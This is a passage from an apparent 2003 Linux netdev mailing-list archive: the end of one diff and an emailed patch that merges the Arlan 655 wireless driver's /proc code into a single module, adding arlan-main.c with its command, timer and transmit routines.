Sep 25 15:48:19 2003 @@ -337,10 +337,7 @@ struct net_device_stats stats; struct arlan_shmem * card; struct arlan_shmem * conf; - struct TxParam txParam; - int multicastLength; - char multicastList[ARLAN_MAX_MULTICAST_ADDRS][6]; - int promiscModeEnabled; + struct arlan_conf_stru * Conf; int bad; int reset; @@ -353,16 +350,13 @@ int registrationLostCount; int reRegisterExp; int irq_test_done; - int last_command_was_rx; + struct TxParam txRing[TX_RING_SIZE]; char reTransmitBuff[0x800]; volatile int txLast; - volatile int txNew; volatile char ReTransmitRequested; volatile unsigned long tx_done_delayed; volatile long long registrationLastSeen; - volatile char under_command; - volatile char under_toggle; volatile long long tx_last_sent; volatile long long tx_last_cleared; volatile int retransmissions; @@ -477,13 +471,11 @@ #define arlan_interrupt_lancpu(dev) {\ int cr; \ \ - priv->under_toggle++; \ cr = readControlRegister(dev);\ if (cr & ARLAN_CHANNEL_ATTENTION){ \ writeControlRegister(dev, (cr & ~ARLAN_CHANNEL_ATTENTION));\ }else \ writeControlRegister(dev, (cr | ARLAN_CHANNEL_ATTENTION));\ - priv->under_toggle=0; \ } #define clearChannelAttention(dev){ \ From shemminger@osdl.org Thu Sep 25 16:01:55 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 16:02:18 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PN1rFx002371 for ; Thu, 25 Sep 2003 16:01:54 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8PN1j111603; Thu, 25 Sep 2003 16:01:45 -0700 Date: Thu, 25 Sep 2003 15:59:27 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] (1/8) arlan -- merge arlan-proc with main code Message-Id: <20030925155927.21904bf3.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 257 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 122811 Lines: 4234 The arlan driver tries to build it's /proc interface into a separate module, which leads to circular dependencies and other ugliness. This patch moves arlan.c to arlan-main.c and changes initialization builds one module arlan.o Patch is for 2.6.0-test5 diff -Nru a/drivers/net/wireless/Makefile b/drivers/net/wireless/Makefile --- a/drivers/net/wireless/Makefile Wed Sep 24 12:43:34 2003 +++ b/drivers/net/wireless/Makefile Wed Sep 24 12:43:34 2003 @@ -3,7 +3,9 @@ # obj-$(CONFIG_STRIP) += strip.o -obj-$(CONFIG_ARLAN) += arlan.o arlan-proc.o +obj-$(CONFIG_ARLAN) += arlan.o + +arlan-objs := arlan-main.o arlan-proc.o # Obsolete cards obj-$(CONFIG_WAVELAN) += wavelan.o diff -Nru a/drivers/net/wireless/arlan-main.c b/drivers/net/wireless/arlan-main.c --- /dev/null Wed Dec 31 16:00:00 1969 +++ b/drivers/net/wireless/arlan-main.c Wed Sep 24 12:43:34 2003 @@ -0,0 +1,2069 @@ +/* + * Copyright (C) 1997 Cullen Jennings + * Copyright (C) 1998 Elmer Joandiu, elmer@ylenurme.ee + * GNU General Public License applies + * This module provides support for the Arlan 655 card made by Aironet + */ + +#include +#include +#include "arlan.h" + +#if BITS_PER_LONG != 32 +# error FIXME: this driver requires a 32-bit platform +#endif + +static const char *arlan_version = "C.Jennigs 97 & Elmer.Joandi@ut.ee Oct'98, http://www.ylenurme.ee/~elmer/655/"; + +struct net_device *arlan_device[MAX_ARLANS]; +int last_arlan; + +static int SID = SIDUNKNOWN; +static int radioNodeId = radioNodeIdUNKNOWN; +static char encryptionKey[12] = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h'}; +static char *siteName = siteNameUNKNOWN; +static int mem = memUNKNOWN; +int arlan_debug = debugUNKNOWN; +static int probe = probeUNKNOWN; +static int numDevices = numDevicesUNKNOWN; +static int spreadingCode = spreadingCodeUNKNOWN; +static int channelNumber = channelNumberUNKNOWN; +static int channelSet = channelSetUNKNOWN; +static int systemId = systemIdUNKNOWN; +static int registrationMode = registrationModeUNKNOWN; +static int keyStart; +static int tx_delay_ms; +static int retries = 5; +static int async = 1; +static int tx_queue_len = 1; +static int arlan_EEPROM_bad; + +#ifdef ARLAN_DEBUGGING + +static int arlan_entry_debug; +static int arlan_exit_debug; +static int testMemory = testMemoryUNKNOWN; +static int irq = irqUNKNOWN; +static int txScrambled = 1; +static int mdebug; +#endif + +#if LINUX_VERSION_CODE > 0x20100 +MODULE_PARM(irq, "i"); +MODULE_PARM(mem, "i"); +MODULE_PARM(probe, "i"); +MODULE_PARM(arlan_debug, "i"); +MODULE_PARM(numDevices, "i"); +MODULE_PARM(testMemory, "i"); +MODULE_PARM(spreadingCode, "i"); +MODULE_PARM(channelNumber, "i"); +MODULE_PARM(channelSet, "i"); +MODULE_PARM(systemId, "i"); +MODULE_PARM(registrationMode, "i"); +MODULE_PARM(radioNodeId, "i"); +MODULE_PARM(SID, "i"); +MODULE_PARM(txScrambled, "i"); +MODULE_PARM(keyStart, "i"); +MODULE_PARM(mdebug, "i"); +MODULE_PARM(tx_delay_ms, "i"); +MODULE_PARM(retries, "i"); +MODULE_PARM(async, "i"); +MODULE_PARM(tx_queue_len, "i"); +MODULE_PARM(arlan_entry_debug, "i"); +MODULE_PARM(arlan_exit_debug, "i"); +MODULE_PARM(arlan_entry_and_exit_debug, "i"); +MODULE_PARM(arlan_EEPROM_bad, "i"); +MODULE_PARM_DESC(irq, "(unused)"); +MODULE_PARM_DESC(mem, "Arlan memory address for single device probing"); +MODULE_PARM_DESC(probe, "Arlan probe at initialization (0-1)"); +MODULE_PARM_DESC(arlan_debug, "Arlan debug enable (0-1)"); +MODULE_PARM_DESC(numDevices, "Number of Arlan devices; ignored if >1"); +MODULE_PARM_DESC(testMemory, "(unused)"); +MODULE_PARM_DESC(mdebug, "Arlan multicast debugging (0-1)"); +MODULE_PARM_DESC(retries, "Arlan maximum packet retransmisions"); +#ifdef ARLAN_ENTRY_EXIT_DEBUGGING +MODULE_PARM_DESC(arlan_entry_debug, "Arlan driver function entry debugging"); +MODULE_PARM_DESC(arlan_exit_debug, "Arlan driver function exit debugging"); +MODULE_PARM_DESC(arlan_entry_and_exit_debug, "Arlan driver function entry and exit debugging"); +#else +MODULE_PARM_DESC(arlan_entry_debug, "(ignored)"); +MODULE_PARM_DESC(arlan_exit_debug, "(ignored)"); +MODULE_PARM_DESC(arlan_entry_and_exit_debug, "(ignored)"); +#endif + +// #warning kernel 2.1.110 tested +#define myATOMIC_INIT(a,b) atomic_set(&(a),b) + +#else +#define test_and_set_bit set_bit +#if LINUX_VERSION_CODE != 0x20024 + // #warning kernel 2.0.36 tested +#endif +#define myATOMIC_INIT(a,b) a = b; + +#endif + +struct arlan_conf_stru arlan_conf[MAX_ARLANS]; +static int arlans_found; + +static int arlan_probe_here(struct net_device *dev, int ioaddr); +static int arlan_open(struct net_device *dev); +static int arlan_tx(struct sk_buff *skb, struct net_device *dev); +static irqreturn_t arlan_interrupt(int irq, void *dev_id, struct pt_regs *regs); +static int arlan_close(struct net_device *dev); +static struct net_device_stats * + arlan_statistics (struct net_device *dev); +static void arlan_set_multicast (struct net_device *dev); +static int arlan_hw_tx (struct net_device* dev, char *buf, int length ); +static int arlan_hw_config (struct net_device * dev); +static void arlan_tx_done_interrupt (struct net_device * dev, int status); +static void arlan_rx_interrupt (struct net_device * dev, u_char rxStatus, u_short, u_short); +static void arlan_process_interrupt (struct net_device * dev); +static void arlan_tx_timeout (struct net_device *dev); +int arlan_command(struct net_device * dev, int command); + +static inline long long arlan_time(void) +{ + struct timeval timev; + do_gettimeofday(&timev); + return ((long long) timev.tv_sec * 1000000 + timev.tv_usec); +}; + +#ifdef ARLAN_ENTRY_EXIT_DEBUGGING +#define ARLAN_DEBUG_ENTRY(name) \ + {\ + struct timeval timev;\ + do_gettimeofday(&timev);\ + if (arlan_entry_debug || arlan_entry_and_exit_debug)\ + printk("--->>>" name " %ld " "\n",((long int) timev.tv_sec * 1000000 + timev.tv_usec));\ + } +#define ARLAN_DEBUG_EXIT(name) \ + {\ + struct timeval timev;\ + do_gettimeofday(&timev);\ + if (arlan_exit_debug || arlan_entry_and_exit_debug)\ + printk("<<<---" name " %ld " "\n",((long int) timev.tv_sec * 1000000 + timev.tv_usec) );\ + } +#else +#define ARLAN_DEBUG_ENTRY(name) +#define ARLAN_DEBUG_EXIT(name) +#endif + + +#define arlan_interrupt_ack(dev)\ + clearClearInterrupt(dev);\ + setClearInterrupt(dev); + + +#define ARLAN_COMMAND_LOCK(dev) \ + if (atomic_dec_and_test(&((struct arlan_private * )dev->priv)->card_users))\ + arlan_wait_command_complete_short(dev,__LINE__); +#define ARLAN_COMMAND_UNLOCK(dev) \ + atomic_inc(&((struct arlan_private * )dev->priv)->card_users); + + +#define ARLAN_COMMAND_INC(dev) \ + {((struct arlan_private *) dev->priv)->under_command++;} +#define ARLAN_COMMAND_ZERO(dev) \ + {((struct arlan_private *) dev->priv)->under_command =0;} +#define ARLAN_UNDER_COMMAND(dev)\ + (((struct arlan_private *) dev->priv)->under_command) + +#define ARLAN_COMMAND_START(dev) ARLAN_COMMAND_INC(dev) +#define ARLAN_COMMAND_END(dev) ARLAN_COMMAND_ZERO(dev) +#define ARLAN_TOGGLE_START(dev)\ + {((struct arlan_private *) dev->priv)->under_toggle++;} +#define ARLAN_TOGGLE_END(dev)\ + {((struct arlan_private *) dev->priv)->under_toggle=0;} +#define ARLAN_UNDER_TOGGLE(dev)\ + (((struct arlan_private *) dev->priv)->under_toggle) + + + +static inline int arlan_drop_tx(struct net_device *dev) +{ + struct arlan_private *priv = ((struct arlan_private *) dev->priv); + + priv->stats.tx_errors++; + if (priv->Conf->tx_delay_ms) + { + priv->tx_done_delayed = jiffies + priv->Conf->tx_delay_ms * HZ / 1000 + 1; + } + else + { + priv->waiting_command_mask &= ~ARLAN_COMMAND_TX; + TXHEAD(dev).offset = 0; + TXTAIL(dev).offset = 0; + priv->txLast = 0; + priv->txOffset = 0; + priv->bad = 0; + if (!priv->under_reset && !priv->under_config) + netif_wake_queue (dev); + } + return 1; +}; + + +int arlan_command(struct net_device *dev, int command_p) +{ + + volatile struct arlan_shmem *arlan = ((struct arlan_private *) dev->priv)->card; + struct arlan_conf_stru *conf = ((struct arlan_private *) dev->priv)->Conf; + struct arlan_private *priv = (struct arlan_private *) dev->priv; + int udelayed = 0; + int i = 0; + long long time_mks = arlan_time(); + + ARLAN_DEBUG_ENTRY("arlan_command"); + + if (priv->card_polling_interval) + priv->card_polling_interval = 1; + + if (arlan_debug & ARLAN_DEBUG_CHAIN_LOCKS) + printk(KERN_DEBUG "arlan_command, %lx lock %lx commandByte %x waiting %x incoming %x \n", + jiffies, priv->command_lock, READSHMB(arlan->commandByte), + priv->waiting_command_mask, command_p); + + priv->waiting_command_mask |= command_p; + + if (priv->waiting_command_mask & ARLAN_COMMAND_RESET) + if (jiffies - priv->lastReset < 5 * HZ) + priv->waiting_command_mask &= ~ARLAN_COMMAND_RESET; + + if (priv->waiting_command_mask & ARLAN_COMMAND_INT_ACK) + { + arlan_interrupt_ack(dev); + priv->waiting_command_mask &= ~ARLAN_COMMAND_INT_ACK; + } + if (priv->waiting_command_mask & ARLAN_COMMAND_INT_ENABLE) + { + setInterruptEnable(dev); + priv->waiting_command_mask &= ~ARLAN_COMMAND_INT_ENABLE; + } + + /* Card access serializing lock */ + + if (test_and_set_bit(0, (void *) &priv->command_lock)) + { + if (arlan_debug & ARLAN_DEBUG_CHAIN_LOCKS) + printk(KERN_DEBUG "arlan_command: entered when command locked \n"); + goto command_busy_end; + } + /* Check cards status and waiting */ + + if (priv->waiting_command_mask & (ARLAN_COMMAND_LONG_WAIT_NOW | ARLAN_COMMAND_WAIT_NOW)) + { + while (priv->waiting_command_mask & (ARLAN_COMMAND_LONG_WAIT_NOW | ARLAN_COMMAND_WAIT_NOW)) + { + if (READSHMB(arlan->resetFlag) || + READSHMB(arlan->commandByte)) /* || + (readControlRegister(dev) & ARLAN_ACCESS)) + */ + udelay(40); + else + priv->waiting_command_mask &= ~(ARLAN_COMMAND_LONG_WAIT_NOW | ARLAN_COMMAND_WAIT_NOW); + + udelayed++; + + if (priv->waiting_command_mask & ARLAN_COMMAND_LONG_WAIT_NOW) + { + if (udelayed * 40 > 1000000) + { + printk(KERN_ERR "%s long wait too long \n", dev->name); + priv->waiting_command_mask |= ARLAN_COMMAND_RESET; + break; + } + } + else if (priv->waiting_command_mask & ARLAN_COMMAND_WAIT_NOW) + { + if (udelayed * 40 > 1000) + { + printk(KERN_ERR "%s short wait too long \n", dev->name); + goto bad_end; + } + } + } + } + else + { + i = 0; + while ((READSHMB(arlan->resetFlag) || + READSHMB(arlan->commandByte)) && + conf->pre_Command_Wait > (i++) * 10) + udelay(10); + + + if ((READSHMB(arlan->resetFlag) || + READSHMB(arlan->commandByte)) && + !(priv->waiting_command_mask & ARLAN_COMMAND_RESET)) + { + goto card_busy_end; + } + } + if (priv->waiting_command_mask & ARLAN_COMMAND_RESET) + priv->under_reset = 1; + if (priv->waiting_command_mask & ARLAN_COMMAND_CONF) + priv->under_config = 1; + + /* Issuing command */ + arlan_lock_card_access(dev); + if (priv->waiting_command_mask & ARLAN_COMMAND_POWERUP) + { + // if (readControlRegister(dev) & (ARLAN_ACCESS && ARLAN_POWER)) + setPowerOn(dev); + arlan_interrupt_lancpu(dev); + priv->waiting_command_mask &= ~ARLAN_COMMAND_POWERUP; + priv->waiting_command_mask |= ARLAN_COMMAND_RESET; + priv->card_polling_interval = HZ / 10; + } + else if (priv->waiting_command_mask & ARLAN_COMMAND_ACTIVATE) + { + WRITESHMB(arlan->commandByte, ARLAN_COM_ACTIVATE); + arlan_interrupt_lancpu(dev); + priv->waiting_command_mask &= ~ARLAN_COMMAND_ACTIVATE; + priv->card_polling_interval = HZ / 10; + } + else if (priv->waiting_command_mask & ARLAN_COMMAND_RX_ABORT) + { + if (priv->rx_command_given) + { + WRITESHMB(arlan->commandByte, ARLAN_COM_RX_ABORT); + arlan_interrupt_lancpu(dev); + priv->rx_command_given = 0; + } + priv->waiting_command_mask &= ~ARLAN_COMMAND_RX_ABORT; + priv->card_polling_interval = 1; + } + else if (priv->waiting_command_mask & ARLAN_COMMAND_TX_ABORT) + { + if (priv->tx_command_given) + { + WRITESHMB(arlan->commandByte, ARLAN_COM_TX_ABORT); + arlan_interrupt_lancpu(dev); + priv->tx_command_given = 0; + } + priv->waiting_command_mask &= ~ARLAN_COMMAND_TX_ABORT; + priv->card_polling_interval = 1; + } + else if (priv->waiting_command_mask & ARLAN_COMMAND_RESET) + { + priv->under_reset=1; + netif_stop_queue (dev); + + arlan_drop_tx(dev); + if (priv->tx_command_given || priv->rx_command_given) + { + printk(KERN_ERR "%s: Reset under tx or rx command \n", dev->name); + }; + netif_stop_queue (dev); + if (arlan_debug & ARLAN_DEBUG_RESET) + printk(KERN_ERR "%s: Doing chip reset\n", dev->name); + priv->lastReset = jiffies; + WRITESHM(arlan->commandByte, 0, u_char); + /* hold card in reset state */ + setHardwareReset(dev); + /* set reset flag and then release reset */ + WRITESHM(arlan->resetFlag, 0xff, u_char); + clearChannelAttention(dev); + clearHardwareReset(dev); + priv->numResets++; + priv->card_polling_interval = HZ / 4; + priv->waiting_command_mask &= ~ARLAN_COMMAND_RESET; + priv->waiting_command_mask |= ARLAN_COMMAND_INT_RACK; +// priv->waiting_command_mask |= ARLAN_COMMAND_INT_RENABLE; +// priv->waiting_command_mask |= ARLAN_COMMAND_RX; + } + else if (priv->waiting_command_mask & ARLAN_COMMAND_INT_RACK) + { + clearHardwareReset(dev); + clearClearInterrupt(dev); + setClearInterrupt(dev); + setInterruptEnable(dev); + priv->waiting_command_mask &= ~ARLAN_COMMAND_INT_RACK; + priv->waiting_command_mask |= ARLAN_COMMAND_CONF; + priv->under_config = 1; + priv->under_reset = 0; + } + else if (priv->waiting_command_mask & ARLAN_COMMAND_INT_RENABLE) + { + setInterruptEnable(dev); + priv->waiting_command_mask &= ~ARLAN_COMMAND_INT_RENABLE; + } + else if (priv->waiting_command_mask & ARLAN_COMMAND_CONF) + { + if (priv->tx_command_given || priv->rx_command_given) + { + printk(KERN_ERR "%s: Reset under tx or rx command \n", dev->name); + } + arlan_drop_tx(dev); + setInterruptEnable(dev); + arlan_hw_config(dev); + arlan_interrupt_lancpu(dev); + priv->waiting_command_mask &= ~ARLAN_COMMAND_CONF; + priv->card_polling_interval = HZ / 10; +// priv->waiting_command_mask |= ARLAN_COMMAND_INT_RACK; +// priv->waiting_command_mask |= ARLAN_COMMAND_INT_ENABLE; + priv->waiting_command_mask |= ARLAN_COMMAND_CONF_WAIT; + } + else if (priv->waiting_command_mask & ARLAN_COMMAND_CONF_WAIT) + { + if (READSHMB(arlan->configuredStatusFlag) != 0 && + READSHMB(arlan->diagnosticInfo) == 0xff) + { + priv->waiting_command_mask &= ~ARLAN_COMMAND_CONF_WAIT; + priv->waiting_command_mask |= ARLAN_COMMAND_RX; + priv->waiting_command_mask |= ARLAN_COMMAND_TBUSY_CLEAR; + priv->card_polling_interval = HZ / 10; + priv->tx_command_given = 0; + priv->under_config = 0; + } + else + { + priv->card_polling_interval = 1; + if (arlan_debug & ARLAN_DEBUG_TIMING) + printk(KERN_ERR "configure delayed \n"); + } + } + else if (priv->waiting_command_mask & ARLAN_COMMAND_RX) + { + if (!registrationBad(dev)) + { + setInterruptEnable(dev); + memset_io((void *) arlan->commandParameter, 0, 0xf); + WRITESHMB(arlan->commandByte, ARLAN_COM_INT | ARLAN_COM_RX_ENABLE); + WRITESHMB(arlan->commandParameter[0], conf->rxParameter); + arlan_interrupt_lancpu(dev); + priv->rx_command_given = 0; // mnjah, bad + priv->last_rx_time = arlan_time(); + priv->waiting_command_mask &= ~ARLAN_COMMAND_RX; + priv->card_polling_interval = 1; + } + else + priv->card_polling_interval = 2; + } + else if (priv->waiting_command_mask & ARLAN_COMMAND_TBUSY_CLEAR) + { + if ( !registrationBad(dev) && + (netif_queue_stopped(dev) || !netif_running(dev)) ) + { + priv->waiting_command_mask &= ~ARLAN_COMMAND_TBUSY_CLEAR; + netif_wake_queue (dev); + }; + } + else if (priv->waiting_command_mask & ARLAN_COMMAND_TX) + { + if (!test_and_set_bit(0, (void *) &priv->tx_command_given)) + { + if ((time_mks - priv->last_tx_time > conf->rx_tweak1) || + (time_mks - priv->last_rx_int_ack_time < conf->rx_tweak2)) + { + setInterruptEnable(dev); + memset_io((void *) arlan->commandParameter, 0, 0xf); + WRITESHMB(arlan->commandByte, ARLAN_COM_TX_ENABLE | ARLAN_COM_INT); + memcpy_toio((void *) arlan->commandParameter, &TXLAST(dev), 14); +// for ( i=1 ; i < 15 ; i++) printk("%02x:",READSHMB(arlan->commandParameter[i])); + priv->last_command_was_rx = 0; + priv->tx_last_sent = jiffies; + arlan_interrupt_lancpu(dev); + priv->last_tx_time = arlan_time(); + priv->tx_command_given = 1; + priv->waiting_command_mask &= ~ARLAN_COMMAND_TX; + priv->card_polling_interval = 1; + } + else + { + priv->tx_command_given = 0; + priv->card_polling_interval = 1; + } + } + else if (arlan_debug & ARLAN_DEBUG_CHAIN_LOCKS) + printk(KERN_ERR "tx command when tx chain locked \n"); + } + else if (priv->waiting_command_mask & ARLAN_COMMAND_NOOPINT) + { + { + WRITESHMB(arlan->commandByte, ARLAN_COM_NOP | ARLAN_COM_INT); + } + arlan_interrupt_lancpu(dev); + priv->waiting_command_mask &= ~ARLAN_COMMAND_NOOPINT; + priv->card_polling_interval = HZ / 3; + } + else if (priv->waiting_command_mask & ARLAN_COMMAND_NOOP) + { + WRITESHMB(arlan->commandByte, ARLAN_COM_NOP); + arlan_interrupt_lancpu(dev); + priv->waiting_command_mask &= ~ARLAN_COMMAND_NOOP; + priv->card_polling_interval = HZ / 3; + } + else if (priv->waiting_command_mask & ARLAN_COMMAND_SLOW_POLL) + { + WRITESHMB(arlan->commandByte, ARLAN_COM_GOTO_SLOW_POLL); + arlan_interrupt_lancpu(dev); + priv->waiting_command_mask &= ~ARLAN_COMMAND_SLOW_POLL; + priv->card_polling_interval = HZ / 3; + } + else if (priv->waiting_command_mask & ARLAN_COMMAND_POWERDOWN) + { + setPowerOff(dev); + if (arlan_debug & ARLAN_DEBUG_CARD_STATE) + printk(KERN_WARNING "%s: Arlan Going Standby\n", dev->name); + priv->waiting_command_mask &= ~ARLAN_COMMAND_POWERDOWN; + priv->card_polling_interval = 3 * HZ; + } + arlan_unlock_card_access(dev); + for (i = 0; READSHMB(arlan->commandByte) && i < 20; i++) + udelay(10); + if (READSHMB(arlan->commandByte)) + if (arlan_debug & ARLAN_DEBUG_CARD_STATE) + printk(KERN_ERR "card busy leaving command %x \n", priv->waiting_command_mask); + + priv->command_lock = 0; + ARLAN_DEBUG_EXIT("arlan_command"); + priv->last_command_buff_free_time = jiffies; + return 0; + +card_busy_end: + if (jiffies - priv->last_command_buff_free_time > HZ) + priv->waiting_command_mask |= ARLAN_COMMAND_CLEAN_AND_RESET; + + if (arlan_debug & ARLAN_DEBUG_CARD_STATE) + printk(KERN_ERR "%s arlan_command card busy end \n", dev->name); + priv->command_lock = 0; + ARLAN_DEBUG_EXIT("arlan_command"); + return 1; + +bad_end: + printk(KERN_ERR "%s arlan_command bad end \n", dev->name); + + priv->command_lock = 0; + ARLAN_DEBUG_EXIT("arlan_command"); + + return -1; + +command_busy_end: + if (arlan_debug & ARLAN_DEBUG_CARD_STATE) + printk(KERN_ERR "%s arlan_command command busy end \n", dev->name); + ARLAN_DEBUG_EXIT("arlan_command"); + return 2; + +}; + +static inline void arlan_command_process(struct net_device *dev) +{ + struct arlan_private *priv = ((struct arlan_private *) dev->priv); + + int times = 0; + while (priv->waiting_command_mask && times < 8) + { + if (priv->waiting_command_mask) + { + if (arlan_command(dev, 0)) + break; + times++; + } + /* if long command, we won't repeat trying */ ; + if (priv->card_polling_interval > 1) + break; + times++; + } +} + + +static inline void arlan_retransmit_now(struct net_device *dev) +{ + struct arlan_private *priv = ((struct arlan_private *) dev->priv); + + + ARLAN_DEBUG_ENTRY("arlan_retransmit_now"); + if (TXLAST(dev).offset == 0) + { + if (TXHEAD(dev).offset) + { + priv->txLast = 0; + IFDEBUG(ARLAN_DEBUG_TX_CHAIN) printk(KERN_DEBUG "TX buff switch to head \n"); + + } + else if (TXTAIL(dev).offset) + { + IFDEBUG(ARLAN_DEBUG_TX_CHAIN) printk(KERN_DEBUG "TX buff switch to tail \n"); + priv->txLast = 1; + } + else + IFDEBUG(ARLAN_DEBUG_TX_CHAIN) printk(KERN_ERR "ReTransmit buff empty"); + priv->txOffset = 0; + netif_wake_queue (dev); + return; + + } + arlan_command(dev, ARLAN_COMMAND_TX); + + priv->nof_tx++; + + priv->Conf->driverRetransmissions++; + priv->retransmissions++; + + IFDEBUG(ARLAN_DEBUG_TX_CHAIN) printk("Retransmit %d bytes \n", TXLAST(dev).length); + + ARLAN_DEBUG_EXIT("arlan_retransmit_now"); +} + + + +static void arlan_registration_timer(unsigned long data) +{ + struct net_device *dev = (struct net_device *) data; + struct arlan_private *priv = (struct arlan_private *) dev->priv; + + int lostTime = ((int) (jiffies - priv->registrationLastSeen)) * 1000 / HZ; + int bh_mark_needed = 0; + int next_tick = 1; + + + priv->timer_chain_active = 1; + + + if (registrationBad(dev)) + { + //debug=100; + priv->registrationLostCount++; + if (lostTime > 7000 && lostTime < 7200) + { + printk(KERN_NOTICE "%s registration Lost \n", dev->name); + } + if (lostTime / priv->reRegisterExp > 2000) + arlan_command(dev, ARLAN_COMMAND_CLEAN_AND_CONF); + if (lostTime / (priv->reRegisterExp) > 3500) + arlan_command(dev, ARLAN_COMMAND_CLEAN_AND_RESET); + if (priv->reRegisterExp < 400) + priv->reRegisterExp += 2; + if (lostTime > 7200) + { + next_tick = HZ; + arlan_command(dev, ARLAN_COMMAND_CLEAN_AND_RESET); + } + } + else + { + if (priv->Conf->registrationMode && lostTime > 10000 && + priv->registrationLostCount) + { + printk(KERN_NOTICE "%s registration is back after %d milliseconds\n", dev->name, + ((int) (jiffies - priv->registrationLastSeen) * 1000) / HZ); + } + priv->registrationLastSeen = jiffies; + priv->registrationLostCount = 0; + priv->reRegisterExp = 1; + if (!netif_running(dev) ) + netif_wake_queue(dev); + if (priv->tx_last_sent > priv->tx_last_cleared && + jiffies - priv->tx_last_sent > 5*HZ ){ + arlan_command(dev, ARLAN_COMMAND_CLEAN_AND_RESET); + priv->tx_last_cleared = jiffies; + }; + } + + + if (!registrationBad(dev) && priv->ReTransmitRequested) + { + IFDEBUG(ARLAN_DEBUG_TX_CHAIN) + printk(KERN_ERR "Retransmit from timer \n"); + priv->ReTransmitRequested = 0; + arlan_retransmit_now(dev); + } + if (!registrationBad(dev) && + time_after(jiffies, priv->tx_done_delayed) && + priv->tx_done_delayed != 0) + { + TXLAST(dev).offset = 0; + if (priv->txLast) + priv->txLast = 0; + else if (TXTAIL(dev).offset) + priv->txLast = 1; + if (TXLAST(dev).offset) + { + arlan_retransmit_now(dev); + dev->trans_start = jiffies; + } + if (!(TXHEAD(dev).offset && TXTAIL(dev).offset)) + { + priv->txOffset = 0; + netif_wake_queue (dev); + } + priv->tx_done_delayed = 0; + bh_mark_needed = 1; + } + if (bh_mark_needed) + { + priv->txOffset = 0; + netif_wake_queue (dev); + } + arlan_process_interrupt(dev); + + if (next_tick < priv->card_polling_interval) + next_tick = priv->card_polling_interval; + + priv->timer_chain_active = 0; + priv->timer.expires = jiffies + next_tick; + + add_timer(&priv->timer); +} + + +#ifdef ARLAN_DEBUGGING + +static void arlan_print_registers(struct net_device *dev, int line) +{ + volatile struct arlan_shmem *arlan = ((struct arlan_private *) dev->priv)->card; + + u_char hostcpuLock, lancpuLock, controlRegister, cntrlRegImage, + txStatus, rxStatus, interruptInProgress, commandByte; + + + ARLAN_DEBUG_ENTRY("arlan_print_registers"); + READSHM(interruptInProgress, arlan->interruptInProgress, u_char); + READSHM(hostcpuLock, arlan->hostcpuLock, u_char); + READSHM(lancpuLock, arlan->lancpuLock, u_char); + READSHM(controlRegister, arlan->controlRegister, u_char); + READSHM(cntrlRegImage, arlan->cntrlRegImage, u_char); + READSHM(txStatus, arlan->txStatus, u_char); + READSHM(rxStatus, arlan->rxStatus, u_char); + READSHM(commandByte, arlan->commandByte, u_char); + + printk(KERN_WARNING "line %04d IP %02x HL %02x LL %02x CB %02x CR %02x CRI %02x TX %02x RX %02x\n", + line, interruptInProgress, hostcpuLock, lancpuLock, commandByte, + controlRegister, cntrlRegImage, txStatus, rxStatus); + + ARLAN_DEBUG_EXIT("arlan_print_registers"); +} +#endif + + +static int arlan_hw_tx(struct net_device *dev, char *buf, int length) +{ + int i; + + struct arlan_private *priv = (struct arlan_private *) dev->priv; + volatile struct arlan_shmem *arlan = priv->card; + struct arlan_conf_stru *conf = priv->Conf; + + int tailStarts = 0x800; + int headEnds = 0x0; + + + ARLAN_DEBUG_ENTRY("arlan_hw_tx"); + if (TXHEAD(dev).offset) + headEnds = (((TXHEAD(dev).offset + TXHEAD(dev).length - (((int) arlan->txBuffer) - ((int) arlan))) / 64) + 1) * 64; + if (TXTAIL(dev).offset) + tailStarts = 0x800 - (((TXTAIL(dev).offset - (((int) arlan->txBuffer) - ((int) arlan))) / 64) + 2) * 64; + + + if (!TXHEAD(dev).offset && length < tailStarts) + { + IFDEBUG(ARLAN_DEBUG_TX_CHAIN) + printk(KERN_ERR "TXHEAD insert, tailStart %d\n", tailStarts); + + TXHEAD(dev).offset = + (((int) arlan->txBuffer) - ((int) arlan)); + TXHEAD(dev).length = length - ARLAN_FAKE_HDR_LEN; + for (i = 0; i < 6; i++) + TXHEAD(dev).dest[i] = buf[i]; + TXHEAD(dev).clear = conf->txClear; + TXHEAD(dev).retries = conf->txRetries; /* 0 is use default */ + TXHEAD(dev).routing = conf->txRouting; + TXHEAD(dev).scrambled = conf->txScrambled; + memcpy_toio(((char *) arlan + TXHEAD(dev).offset), buf + ARLAN_FAKE_HDR_LEN, TXHEAD(dev).length); + } + else if (!TXTAIL(dev).offset && length < (0x800 - headEnds)) + { + IFDEBUG(ARLAN_DEBUG_TX_CHAIN) + printk(KERN_ERR "TXTAIL insert, headEnd %d\n", headEnds); + + TXTAIL(dev).offset = + (((int) arlan->txBuffer) - ((int) arlan)) + 0x800 - (length / 64 + 2) * 64; + TXTAIL(dev).length = length - ARLAN_FAKE_HDR_LEN; + for (i = 0; i < 6; i++) + TXTAIL(dev).dest[i] = buf[i]; + TXTAIL(dev).clear = conf->txClear; + TXTAIL(dev).retries = conf->txRetries; + TXTAIL(dev).routing = conf->txRouting; + TXTAIL(dev).scrambled = conf->txScrambled; + memcpy_toio(((char *) arlan + TXTAIL(dev).offset), buf + ARLAN_FAKE_HDR_LEN, TXTAIL(dev).length); + } + else + { + netif_stop_queue (dev); + return -1; + IFDEBUG(ARLAN_DEBUG_TX_CHAIN) + printk(KERN_ERR "TX TAIL & HEAD full, return, tailStart %d headEnd %d\n", tailStarts, headEnds); + } + priv->out_bytes += length; + 